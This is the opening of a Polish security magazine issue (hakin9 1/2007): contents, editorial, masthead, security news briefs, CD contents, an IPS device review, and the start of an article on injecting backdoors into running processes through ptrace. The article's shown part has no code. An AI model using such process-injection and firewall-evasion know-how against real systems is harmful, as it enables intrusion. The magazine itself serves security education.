plik

www.hakin9.org

hakin9 Nr 1/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Piotr przedstawia garść najciekawszych wiadomo-

ści ze świata bezpieczeństwa systemów informa-

tycznych.

Zawartość CD – hakin9.live

Emilia Godlewska

Emilia opisuje zawartość i sposób działania najnow-

szej wersji naszej sztandarowej dystrybucji haki-

n9.live

Sprzęt

IPS Broad Web NetKeeper

Jakub Wojnowski

Kuba przetestował narzędzie dystrybuowane przez

Dagmę. Przedstawia w jaki sposób urządzenie zneu-

tralizowało przeprowadzone ataki.

Atak

Hakowanie aplikacji -

Rootkity i Ptrace

Stefan Klaas

Stefan uczy jak rozumieć wywołanie systemo-

we ptrace() oraz w jaki sposób używać go w celu

zmiany przepływu sterowania uruchomionych pro-

gramów poprzez wstrzykiwanie własnych instrukcji
do pamięci procesu.

Schellcody nowej generacji

Itzik Kotler

Itzik opisuje przeszkody jakie spotyka n apastnik pró-

bujący uruchomić kod powłoki na systemie będącym

celem ataku oraz jak wyglądają sposoby obejścia tych

przeszkód.

Co dwie głowy to nie jedna

a co w przypadku kiedy

tych głów jest więcej?

ddajemy Wam do rąk pierwszy numer Hakin9u

miesięcznika. Nie będziecie musieli już czekać na

Wasze ulubione pismo aż dwa miesiące tylko mie-

siąc a zatem w ciągu roku będzie dwa razy więcej do poczy-

tania. To dobra wiadomość, którą nagradzamy wszystkich

tych czytelników, którzy są z nami od początku.

Pracujemy również nad poprawieniem jakości dla-

tego specjalnie dla Was tworzymy Radę Programową.

W zespole mamy już Macieja Szmita. Jest członkiem

International Computer Games Association, Naukowego

Towarzystwa Informatyki Ekonomicznej, Polskiego Towa-

rzystwa Informatycznego oraz Polskiego Towarzystwa

Użytkowników Produktów Novella.

Jego dorobek publikacyjny obejmuje osiemdziesiąt

publikacji (w tym ponad dwudzieścia publikacji nauko-

wych, autorstwo trzech i współautorstwo dwóch ksią-

żek oraz kilku rozdziałów w monografiach). Od 1996 roku

współpracuje z Wydawnictwem Software jako autor szere-

gu artykułów publikowanych w pismach „Boston IT Securi-

ty Review”, „Software Developer’s Journal” oraz „Hakin9”

(w edycjach: polskiej, czeskiej, francuskiej, hiszpańskiej,

angielskiej, włoskiej i niemieckiej), recenzent oraz redak-

tor prowadzący numerów poświęconych sztucznej inte-

ligencji (numer z lutego 2004 wydany w języku polskim

oraz numer Software Extra z lipca 2004 wydany w języ-

kach: polskim, hiszpańskim, niemieckim i francuskim).

Do Rady Programowej zapraszamy wybitne osobistości

by decydowały o najlepszych materiałach, które z miesią-

ca na miesiąc będziemy Wam przekazywać. Jeżeli chcecie

rekomendować kogoś do Rady Programowej Hakin9u pisz-

cie do nas.

Jak zwykle ciekawi jesteśmy Waszych opinii. Piszcie

śmiało: pl.@hakin9.org i do zobaczenia już za miesiąc.

Sylwia Pogroszewska

http://www.buyitpress.com

www.hakin9.org

hakin9 Nr 1/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit, Mariusz Tomaszewski

Maciek i Mariusz przedstawiają zapobieganie złośli-
wym m-routerom, omawiają ich wady.

Wszystko o NAT

Konrad Malewski

Konrad wyjaśnia metody, dzięki którym można utwo-

rzyć połączenie pomiędzy komputerami znajdujący-
mi się w różnych sieciach lokalnych.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

Pierpaolo i Matteo omawiają działanie Snort_inline
i podstawy zapobiegania włamaniom do systemów.

Rozwiązania DTM

Łukasz Bromirski

Łukasz prezentuje jak wygląda architektura DTM

Cisco oraz jakie elementy powinieneś zastosować

w Sieci, by rozwiązanie spełniało swoje zadanie.

Wywiad

Peter Fleischer

Marta Ogonek

Peter Fleischer, kieruje pracami Google w zakresie

ochrony prywatności w regionie EMEA.

Zapowiedzi

Emilia Godlewska

Emiia zapowiada artykuły, które znajdą się w następ-

nym wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Emilia Godlewska

Tłumaczenie: Rafał Kocisz

Wyróżnieni betatesterzy: Łukasz Witczak, Mateusz Lipiński,

Bartosz Sidzina

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Sławomir Zadrozny slawekz@software.com.pl

Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 1/2007

Ekstradycja UFO-hackera

Gary McKinnon, brytyjski niedo-

szły fryzjer i script-kiddie, który po-

nad rok temu włamał się na serwe-

ry Pentagonu, może zostać potrak-

towany jako terrorysta. Wielka Bry-

tania podpisała zgodę na jego eks-

tradycję do USA.

Gary złożył już apelację, twierdząc,

że Amerykanie sfabrykowali więk-

szość dowodów w jego sprawie.

Dziwnym trafem, wycena strat spo-

wodowanych przez intruza na każ-

dym z serwerów równa była kwo-

cie 5 tys. dolarów, czyli wartości, od

której wedle amerykańskiego prawa

można ubiegać się o ekstradycję.

McKinnon, za pomocą pożyczo-

nego od byłej dziewczyny kompute-

ra, spenetrował kilkanaście serwe-

rów należących do rządu USA. We

włamaniach pomogły mu znalezio-

ne w sieci programy.

Motywem, jakim kierował się Ga-

ry, było poszukiwanie dowodów na

istnienie cywilizacji pozaziemskiej

oraz materiałów świadczących

o wykorzystywaniu przez USA na-

pędów antygrawitacyjnych.

McKinnon, w kilkunastu wywia-

dach udzielonych od momentu jego

schwytania, opowiadał o fatalnym

stanie zabezpieczeń na serwerach

rządowych USA. Gary miał pozy-

skiwać tajne informacje wojskowe

forsując tak zaawansowane barie-

ry, jak na przykład puste hasła ad-

ministratora. Anglika zgubił fakt po-

zostawienia notki informującej o lu-

kach w zabezpieczeniach, wprost

na pulpicie rządowej maszyny, do

której udało mu się dostać.

Nokia i Snort

Fiński koncern Nokia poinformował

o nawiązaniu współpracy z firmą So-

urcefire, producentem powszechnie

znanego wśród specjalistów od za-

bezpieczeń narzędzia Snort.

Nokia działa nie tylko na rynku te-

lefonii komórkowej. Firma dostar-

cza także zintegrowane platformy

zabezpieczeń sieci.

Snort to opensource'owy program,

którego zadaniem jest monitorowa-

nie i analiza ruchu sieciowego pod

kątem symptomów charakterystycz-

nych dla włamań. Jego twórca, Mar-

tin Roesch, nie ukrywał, że oferty

współpracy składały mu (oprócz No-

kii) także inne, znane w sieciowym

światku firmy, z Cisco na czele. Za-

pewnia, że wybrana oferta jest naj-

korzystniejszą nie tylko dla niego, ale

i dla Snorta.

Luka, której nie było?

egoroczna konferencja ToorCon
zostanie w pamięci nie tylko jej

uczestników, ale także milionów użyt-
kowników przeglądarki Firefox. Dwój-
ka  prelegentów,  Andrew  Wbeelsoi
i  Mischa  Spiegelmock,  oświadczy-
ła  podczas  swojego  wykładu,  że  jest
w posiadaniu exploita na poważną lu-
kę w przeglądarce Firefox. Z racji po-
pularności,  jaką  cieszy  się  ta  prze-
glądarka  internetowa,  systematycz-
nie  „przeciągająca”  na  swoją  stronę
coraz  więcej  użytkowników  Internet
Explorera, wiadomość o dziurze odbi-
ła się głośnym echem po całym inter-
necie. Przez kilka dni serwisy informa-
cyjne jak i blogosfera trąbiły o domnie-
manych  błędach  w  Firefoksie  i  jako-
by  fatalnym  stanie  implementacji  ca-
łej obsługi JavaScript. Oliwy do ognia
dolewał brak pełnego kodu eksploita.
Hackerzy w czasie swojej prezentacji
ujawnili jedynie jego fragmenty.

Nie ma się co dziwić, że najbar-

dziej zdenerwowało to odpowiedzial-
nych za bezpieczeństwo przeglądarki
pracowników fundacji Mozilla. Szefo-
wa  Mozilli  ds.  bezpieczeństwa,  Win-
dow  Synder,  mimo  iż  podejrzewała
opisaną dziurę jako wariant jednej ze
znanych już luk, oświadczyła, że nie-
odpowiedzialnym  jest  podawanie  te-
go  typu  informacji  opinii  społecznej,
gdyż  zachodzi  ryzyko  niemalże  na-
tychmiastowego  wykorzystania  dziu-
ry przez cyberprzestępców.

Jakby tego było mało, w czasie pre-

zentacji wspomniano o istnieniu ko-

lejnych  trzydziestu  błędów  w  przeglą-
darce Firefox. Co więcej, hackerzy nie
zamierzali  ich  ujawniać.  Nie  ukrywali
również,  że  mają  zamiar  wykorzystać
znalezione błędy we własnych celach
(sic!).  Andrew  i  Mischa  odrzucili  tym
samym ofertę Mozilli, która za znalezie-
nie poważnego błędu w kodzie Firefok-
sa płaci programistom 500 dolarów.

Wkrótce po burzy, jaka rozpętała

się  w  mediach,  nadszedł  czas  skru-
chy.  Mischa  wystosował  oświadcze-
nie,  w  którym  przeprosił  wszystkich
za  zamieszanie  wywołane  prezenta-
cją.  Hacker  podkreślał,  że  prezenta-
cja  miała  być  w  dużej  mierze  humo-
rystyczna.  Mischa  przyznał  także,  iż
pomimo  wielu  prób  nie  udało  mu  się
przedstawionej  na  konferencji  dziury
wykorzystać  do  zdalnego  wykonania
kodu, a następnie zaprzeczył, jakoby
był  w  posiadaniu  informacji  dotyczą-
cych 30 kolejnych dziur w kodzie Fire-
foksa. Zarówno Mischa jak i Window
potwierdzili, że odpowiednie wykorzy-
stanie luki powoduje nagłe zamknięcie
przeglądarki  i  wyczerpanie  zasobów
maszyny,  a  sama  dziura  była  wcze-
śniej znana programistom Mozilli.

W całym tym zamieszaniu nale-

ży pochwalić szybką reakcje pracow-
ników  Mozilli,  którzy  nie  zlekcewa-
żyli  możliwości  zagrożenia  i  błyska-
wicznie podjęli procedury dążące do
wyjaśnienia  całej  sprawy,  działając
zgodnie z przekonaniem, że bezpie-
czeństwo użytkowników jest najważ-
niejsze.

Uważaj na hakerów odbierając SMS

omenda Główna Policji na stro-
nach internetowych zaczęła

ostrzegać  obywateli  przed  phishin-
giem.  Akcja  przeprowadzana  przez
policję jest profesjonalna, a co więcej,
materiały zostały napisany w sposób
łatwy  do  przyswojenia  nawet  przez
mniej  zaawansowanych  użytkowni-
ków  komputera.  Policjanci  porusza-
ją  tematy  podrobionych  stron  banko-
wych  i  metod,  jakimi  cyberprzestęp-
cy starają się zachęcić nas do poda-
nia  im  prawdziwych  danych.  Oprócz

standardowego  wysyłania  e-maili
zachęcających  do  kliknięcia  w  lin-
ki, funkcjonariusze opisali także nowe
metody przestępców bazujące na ko-
munikacji  przez  telefon  –  i  chodzi  tu
zarówno o rozmowę, jak i przesyłanie
wiadomości  SMS.  Policja  wypunkto-
wała  także  listę  dobrych  zwyczajów,
których przestrzeganie powinno zaosz-
czędzić  internautom  wielu  kłopotów.
Więcej  szczegółów  na  stronie  http://

www.policja.pl/index.php?dzial=1&id

=3405

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 1/2007

Usuń sobie DRM

Od złamania systemu MS DRM (Mi-

crosoft Digital Rights Management)

przez hackera, przedstawiającego

się jako Beale Screamer minęło już

kilka lat. W tym czasie system DRM

doczekał się kolejnych wersji, popra-

wiających niedociągnięcia. Jednak

ostatnio w sieci pojawił się program

FairUse4WM służący do zdejmowa-

nia zabezpieczeń z plików muzycz-

nych chronionych DRM-em w wer-

sji 10 i 11. Graficzny interfejs aplika-

cji sprawia, że zabezpieczenia przed

kopiowaniem mogą zdejmować oso-

by nieposiadające specjalistycznej

wiedzy na temat DRM.

Viodentia, autor programu, nie za-

chęca do piractwa i oświadczył, ze

narzędzie powstało, by umożliwić

użytkownikom kopiowanie muzy-

ki z zabezpieczonych plików w ra-

mach dozwolonego prawem użytku

prywatnego. Jest to bunt przeciw-

ko serwisom muzycznym, zwłasz-

cza tym, które sprzedają prawa do

słuchania utworów, ale tylko wtedy,

kiedy użytkownik posiada aktywne

(obarczone comiesięczną opłatą)

konto w serwisie.

Innego zdania jest Microsoft,

który złożył pozew przeciwko au-

torowi oprogramowania usuwają-

cego DRM. Co ciekawe, Microsoft

oskarża hakera nie o złamanie za-

bezpieczeń, ale o nielegalne po-

zyskanie kodu źródłowego pro-

duktów Microsoftu, bez którego

– zdaniem firmy – Viodencie nie

udałoby się złamać DRM.

Dziurawe OpenSSL

Wraz z końcem września udostęp-

niono łaty na cztery luki w znanym

pakiecie OpenSSL.

Jak donoszą specjaliści do spraw

bezpieczeństwa, dwie ze znalezio-

nych dziur są poważne. Pierwsza

dotyczy błędu w praserze ASN.1,

który za pomocą specjalnego kodu

można wprowadzić w nieskończo-

ną pętle, zużywając tym samym

całkowite zasoby pamięci.

Druga poważna luka to błąd

w funkcji SSL_get_shared_ciphers

umożliwiający atak przepełnienia

buforu. Trzecia, mniej groźna dziu-

ra dotyczy złej konfiguracji serwe-

ra OpenSSL, mogącej wpłynąć na

niestabilność pracy klienta.

Administratorów serwerów korzy-

stających z OpenSSL zachęcamy

do jak najszybszego zainstalowa-

nia poprawek dostępnych na stro-

nie http://www.openssl.org/.

Policja zatrzymała serwery TOR

he Onion Routing to stworzona
przez Electronic Frontiers Founda-

tion sieć niekomercyjnych, często pry-
watnych serwerów, tworzących wirtual-
ną sieć połączeń i umożliwiająca swo-
im użytkownikom anonimowe korzysta-
nie z zasobów Internetu. TOR wykorzy-
stywany jest przez dziennikarzy lub dy-
sydentów w celu ominięcia cenzury lub
zatarcia  za  sobą  śladów  po  publika-
cji  niewygodnych  wiadomości.  Z  sieci
TOR  korzystają  także  agencje  rządo-
we, które obserwując pewne strony in-
ternetowe, nie chcą w logach pozosta-
wiać śladu swojego adresu IP. Niemiec-
ka policja, prowadząca dochodzenie w
sprawie dziecięcej pornografii, w cza-
sie  jednego  z  przeszukań  zatrzyma-
ła także sześć serwerów działających
w systemie TOR. Jak donoszą opera-
torzy  przejętych  przez  policję  serwe-
rów, nie zostali oni zatrzymani, ani nie
postawiono  im  zarzutów.  Początko-
wo media informowały, że najazd poli-
cji wymierzony był również w sieć TOR,
postrzeganą przez niektórych jako nie-
wygodny (bo nie dający łatwo zidenty-

fikować użytkownika) zalążek anarchii
w sieci. Opiekunowie projektu zdemen-
towali  jednak  te  pogłoski,  tłumacząc,
że najprawdopodobniej jeden z tropio-
nych przez policję pedofilów mógł wy-
korzystać  TOR  do  zestawienia  połą-
czenia. TOR posiada także inną, ma-
ło znaną zaletę. Korzystając z jego za-
sobów, przy odpowiedniej konfiguracji
klienta,  możemy  ominąć  restrykcje  fi-
rewalla  naszej  sieci.  Jeśli  tylko  mamy
dostęp do portu 80 – możemy tunelo-
wać połączenia dla usług działających
na  innych  portach  –  np.  Jabbera  lub
SSH. Czasem – trzeba przyznać – na-
wet na bardzo dobrym łączu nie jest to
szybkie  rozwiązanie,  gdyż  cebulowy
routing  implementowany  przez  TOR
i  połączenia  przekazywane  przez  kil-
ka serwerów dodają sporo opóźnienia
do ruchu pakietów. Ale coś za coś – je-
śli administrator zablokował nam jakąś
usługę – na przykład połączenia FTP,
a my koniecznie musimy z niej skorzy-
stać – warto przecierpieć opóźnienia w
ruchu i powolny transfer, by móc w koń-
cu użyć upragnionej usługi.

e wrześniu amerykański sąd
okręgowy w Illinois nakazał

właścicielom  Spamhaus.org  wypła-
tę  niebagatelnej  kwoty  11  mln  dola-
rów  odszkodowania  na  rzecz  firmy
e360insight, która wg ustaleń wymia-
ru sprawiedliwości niesłusznie znala-
zła się na liście spamerów tworzonej
przez Spamhaus. Spamhaus nie wy-
płacił  odszkodowania,  ponieważ  fir-
ma nie znajduje się w Stanach Zjed-
noczonych a na terenie Wielkiej Bry-
tanii,  zatem  wyroki  sądu  w  USA  jej
nie  dotyczą.  Co  więcej,  Spamhaus
nie usunęła firmy e360insight ze swo-
ich  list.  Paradoksalnie,  bezsilność
amerykańskiego wymiaru sprawiedli-
wości zmotywowała go do działania.
Sąd postanowił złożyć wniosek o za-
wieszenie domeny spamhaus.org do
organizacji  ICANN,  ta  jednak  oznaj-
miła,  że  nie  jest  stroną  w  sporze
i nie ma obowiązku wykonywać żad-
nych sugestii sądu. Chęć zniszczenie

Kto tu jest spamerem?

Spamhaus  dziwi  niektórych  specjali-
stów  do  spraw  bezpieczeństwa.  Są
oni zdania, że niedostępność list spo-
rządzanych  przez  Spamhaus  może
spowodować  zalew  milionów  skrzy-
nek  pocztowych  niechcianą  pocztą,
która obecnie – właśnie dzięki listom
– jest blokowana.

Całą akcję wymiaru sprawiedli-

wości oceniają jako elektroniczne sa-
mobójstwo, zwłaszcza, że ze Spam-
haus.org  korzysta  wiele  znanych  or-
ganizacji,  w  tym  także  Biały  Dom
czy  amerykańskie  siły  zbrojne.  Od-
miennego  zdania  są  naukowcy,  któ-
rzy  przy  ocenie  sytuacji  uwzględnili
ogrom  informatycznej  wiedzy  posia-
danej  przez  administratorów  korzy-
stających  z  baz  Spamhaus.  Uczeni
sądzą, że nawet po zamrożeniu stro-
ny WWW oskarżonej organizacji, ko-
rzystający z jej usług administratorzy
szybko  znajdą  inne  strony  udostęp-
niające do pobrania te same listy.

hakin9.live

hakin9 Nr1/2007

www.hakin9.org

a dołączonej do pisma płycie znajduje się hakin9.
live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzę-

dzia, dokumentację, tutoriale i materiały dodatkowe do
artykułów. Aby zacząć pracę z hakin9.live, wystarczy
uruchomić komputer z CD1. Po uruchomieniu systemu
możemy zalogować się jako użytkownik hakin9 bez po-
dawania hasła.

Materiały dodatkowe zostały umieszczone w nastę-

pujących katalogach:

•   tut – 24 tutoriale w tym jeden nowy: „Sieci nie lokalne”;
•   Aurox-Live;
•   HIT – Outpost PRO Firewall, Qengine Issue Manager

4.0, Kaspersky Anti-Spam 3.0;

•   applications – programy;
•   doc – indeks;
•   pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest do-
stępna z podkatalogu /mnt/cdrom.

Wersję hakin9.live 3.1-aur zbudowaliśmy, opiera-

jąc się o dystrybucję Aurox i skrypty automatycznej ge-
neracji (www.aurox.org/pl/live). Narzędzia dystrybucji,
które nie znajdują się na dołączonej do pisma płycie,
instalowane są z repozytorium Auroxa za pomocą pro-
gramu yum.

W porównaniu z hakin9.live 2.9.1-ng zasadniczą

zmianą jest oparcie systemu na dystrybucji Aurox Li-
ve 11.1. oraz przejście z Fluxboksa na środowisko gra-
ficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Li-
nuksa stron pomocy (stron manualna), z których sko-
rzystać możemy poprzez konsolę wydając polecenie
man [nazwa programu], wchodzą między innymi tuto-
riale, przygotowane przez redakcję.

Na CD opracowane zostały praktyczne ćwiczenia

do  jendego  artykułu  –  Sieci  nie  lokalne,  który  można
przeczytać w piśmie. Zakładamy, że podczas wykony-
wania  ćwiczeń  związanych  z  artykułami  i  tutorialami,
użytkownik  korzysta  z  hakin9.live.  Dzięki  temu  unik-
nie  problemów  związanych  z  różnymi  wersjami  kom-
pilatorów, inną lokalizacją plików konfiguracyjnych czy
opcjami niezbędnymi do uruchomienia programu w da-
nym środowisku. hakin9.live został przygotowany pod
kątem  tych  ćwiczeń  i  zawiera  wszystkie  wymagane
aplikacje.

Zawartość CD

Qengine IssueManager 4.0

QIM jest stuprocentowo webowym oprogramowaniem
do zarządzania rozwiązywaniem problemów, które
oferuje funkcjonalność zarządzania poprawianiem błę-
dów, zarządzania projektem, ulepszeniami, defektami
i elementy zarządzania zadaniami. Dostarcza kontro-
le dostępu zależna od roli w projekcie, obsługę załącz-
ników, zarządzanie terminarzem, automatyczne notyfi-
kacje przez emalia. Zarządzanie czasem pracy, reguły
biznesowe, aktywna identyfikacji w kartotece, dołącza-
nie zrzutów ekranu, łatwe raportowanie i szerokie moż-
liwości dostosowań.

Outpost PRO Firewall

Outpost Firewall jest osobistym systemem zaporo-
wym chroniącym komputer użytkownika przed ataka-
mi podczas połączenia z Internetem (ataki hakerów,
włamania, konie trojańskie itp.). Dodatkowy moduł an-
tyspyware chroni w czasie rzeczywistym przed ataka-
mi programów szpiegowskich. Program jest dostępny
w polskiej wersji językowej.

Outpost kontroluje zarówno połączenia przycho-

dzące  jak  i  wychodzące,  dzięki  czemu  każda  pró-
ba  kradzieży  poufnych  danych  będzie  zablokowana.
W sieci firmowej zapewnia szczególną ochronę notebo-
oków, wynoszonych zwykle poza obręb firmy i łączących
się z Internetem z niechronionych lokalizacji. Outpost po-
zwala  również  na  blokowanie  dostępu  do  określonych
stron internetowych (według adresu lub treści strony).

Specjalny moduł „Ochrona prywatnych informacji”

blokuje wysłanie poufnych danych zapewniając dodatko-
wą ochronę haseł do kont bankowych lub numerów kart
kredytowych. Zaawansowanym użytkownikom Outpost
pozwala na konfigurowanie dowolnych reguł oraz posze-
rzanie funkcjonalności poprzez dodatkowe wtyczki (np.
blokowanie reklam).

Kaspersky Anti-Spam 3.0

Kaspersky Anti-Spam chroni przed niechcianą korespon-
dencją elektroniczną (spamem). Pozwala na wyelimino-
wanie niechcianych wiadomości e-mail z ruchu poczto-
wego.  Rozwiązanie  wykorzystuje  inteligentną  technolo-
gię wykrywania spamu i powstało na bazie wieloletnie-
go doświadczenia ekspertów z Kaspersky Lab w projek-
towaniu systemów chroniących ruch pocztowy w środo-
wiskach  korporacyjnych.  Kaspersky  Anti-Spam  walczy
ze  spamem  korzystając  z  wielopoziomowego  filtrowa-
nia wiadomości e-mail. Analiza lingwistyczna może auto-
matycznie przetwarzać wiadomości i odrzucać niechcia-
ną korespondencję. Ponadto rozwiązanie jako jedyne na
rynku analizuje spam powstający w języku rosyjskim.

hakin9 Nr 1/2007

www.hakin9.org

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

Sprzęt

hakin9 Nr 1/2007

www.hakin9.org

Urządzenie Broad Web Netkeeper, bo o nim mowa jest
systemem IPS (Intrusion Prevention System). Oznacza
to dokładnie tyle, że podobnie jak rozwiązania typu IDS,
NetKeeper potrafi wykrywać ataki, w odróżnieniu jednak
od systemów IDS potrafi również te ataki automatycznie
blokować. Jest zatem połączeniem klasycznych IDS'ów
z firewallem.

Istnieje jednak różnica pomiędzy sposobem filtrowa-

nia pakietów przez NetKeepera a zwykły firewall. Więk-
szość zapór ogniowych filtruje ruch w sieci na podsta-
wie  informacji  o  pakietach:  adres  źródłowy,  docelowy,
port,  protokół,  nie  mają  natomiast  wpływu  zawartość
pakietów (wynika to z faktu, że działają na 4 warstwie
system  OSI).  Netkeeper  natomiast  potrafi  kontrolować
ruch  w  sieci  na  podstawie  zawartości  poszczególnych
pakietów, dzięki czemu jest w stanie wykryć np. exploity
i złośliwe robaki i wirusy internetowe.

Sercem NetKeepera jest dedykowany procesor firmy

BroadWeb, dzięki któremu jest on w stanie obsłużyć
nawet sieci o bardzo dużych przepustowościach.

NetKeeper pracuje w trybie in-line dzięki czemu nie

ma możliwości pominięcia przez niego żadnego pakietu
w sieci. Sprawia to, że skutecznie radzi on sobie z ataka-
mi np. SQL Slammer.

System stosuje różne metody identyfikacji ataków:

np. na podstawie analizy statystycznej czy z wbudowa-
nej bazy sygnatur ataków. Urządzenie posiada również
proste narzędzie do tworzenia własnych sygnatur.

NetKeeper filtruje ruch na podstawie predefiniowa-

nych polityk. Posiada on ok dwóch tysięcy zdefiniowa-
nych reguł, na podstawie których można budować polity-
kę bezpieczeństwa sieci.

Urządzenie posiada również możliwość blokowa-

nia aplikacji typu peer-to-peer oraz instant messaging
i dostępu do wybranych przez administratora usług (np.
chat) i stron internetowych.

O skuteczności produktu świadczy zresztą fakt, że

NetKeeper jako jeden z pierwszych uzyskał prestiżo-
wy certyfikat ICSA Labs potwierdzający zaawansowane
możliwości ochrony sieci firmowej przed włamaniami.

Podczas testów urządzenie zneutralizowało

wszystkie z przeprowadzanych ataków, w tym ataki
typu DoS. Zestaw narzędzi użyty do testów zawie-

rał‚ m.in. Tomahawk narzędzie służące do testowa-
nia urządzeń IPS, zestaw testów penetracyjnych Core
Impact, oraz skrypty specjalnie przygotowane przez
programistów ICSA. Ataki ukryte zostały w tysiącach
gigabajtów legalnego ruchu kierowanego na serwery
Cybertrust przez jego partnerów handlowych, którzy
wzięli udział w teście.

Reasumując NetKeeper jest bardzo udanym produktem,

godnym polecenia każdemu ceniącemu sobie bezpieczeń-
stwo administratorowi sieci. Do plusów NetKeepera należy z
pewnością zaliczyć pracę w trybie in-line, analizę zawartości
pakietów i dużą liczbę wykrywanych ataków oraz mnogość
zdefiniowanych reguł filtrowania ruchu.

Producentem urządzenia NetKeeper jest firma Bro-

adWeb (http://www.broadweb.com/) a dystrybutorem
na Polskę jest Dagma (http://www.dagma.pl).

Aurox Core Team przetestował urządzenie IPS Broad Web NetKeeper, które
służy ochronie oraz podniesieniu bezpieczeństwa Sieci.

Recenzja urządzenia

IPS Broad Web NetKeeper

W Sieci

Pełny raport z przeprowadzonych przez ICSA testów znajdu-
je się pod adresem:

http://www.icsalabs.com/icsa/docs/html/communities/nips/
certifiedproducts/BroadWeb_NetKeeper_3256P_NIPS_
report_060626.pdf

www.hakin9.org

hakin9 Nr 1/2007

Atak

otychczas  nie  znaliśmy  zbyt  wie-
le  dostępnych  publicznie  funkcji
nadpisujących  kod.  Jest  trochę  ko-

du  w  „podziemiu”,  który  nie  jest  publicznie
udostępniony  z  powodu  przeterminowania
(10.2006)  i  nie  ma  też  dobrych  dokumen-
tów  opisujących  tą  technikę,  dlatego  obja-
śnię  ją.  Jeśli  znasz  już  ptrace(),  ten  arty-
kuł  powinien  Cię  również  zainteresować,
bo  zawsze  to  dobrze  jest  się  nauczyć  no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną  część  stosu?  Zatem  czytaj  czytaj  dalej,
bo  przedstawię  w  szczegółach,  jak  to  zro-
bić.  Zastrzegam  też,  że  użyłem  następują-
cych wersji gcc:

gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)

Kompilujemy zawsze prostą metodą gcc file.c

-o output; nie trzeba żadnych flag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.

Objaśnienie funkcji ptrace()

Funkcja

ptrace()

jest bardzo użyteczna przy

debugowaniu. Używa się jej do śledzenia pro-
cesów.

Wywołanie systemowe

ptrace()

dostar-

cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów

Hakowanie aplikacji

Rootkity i Ptrace

Stefan Klaas

stopień trudności

Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny

dla Linuksa i potrzebna jest pewna wiedza o programowaniu w

ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych

technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i

prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej

funkcji i nauczymy się, jak pisać własne furtki.

Z artykułu dowiesz się...

• należy rozumieć wywołanie systemowe

ptrace

();

• używać go w celu zmiany przepływu stero-

wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.

Powinieneś wiedzieć...

• należy być obytym ze środowiskiem Linuksa,

jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

zatrzymania podczas debugowania
i śledzenia wywołań systemowych.

Proces nadrzędny może zainicjo-

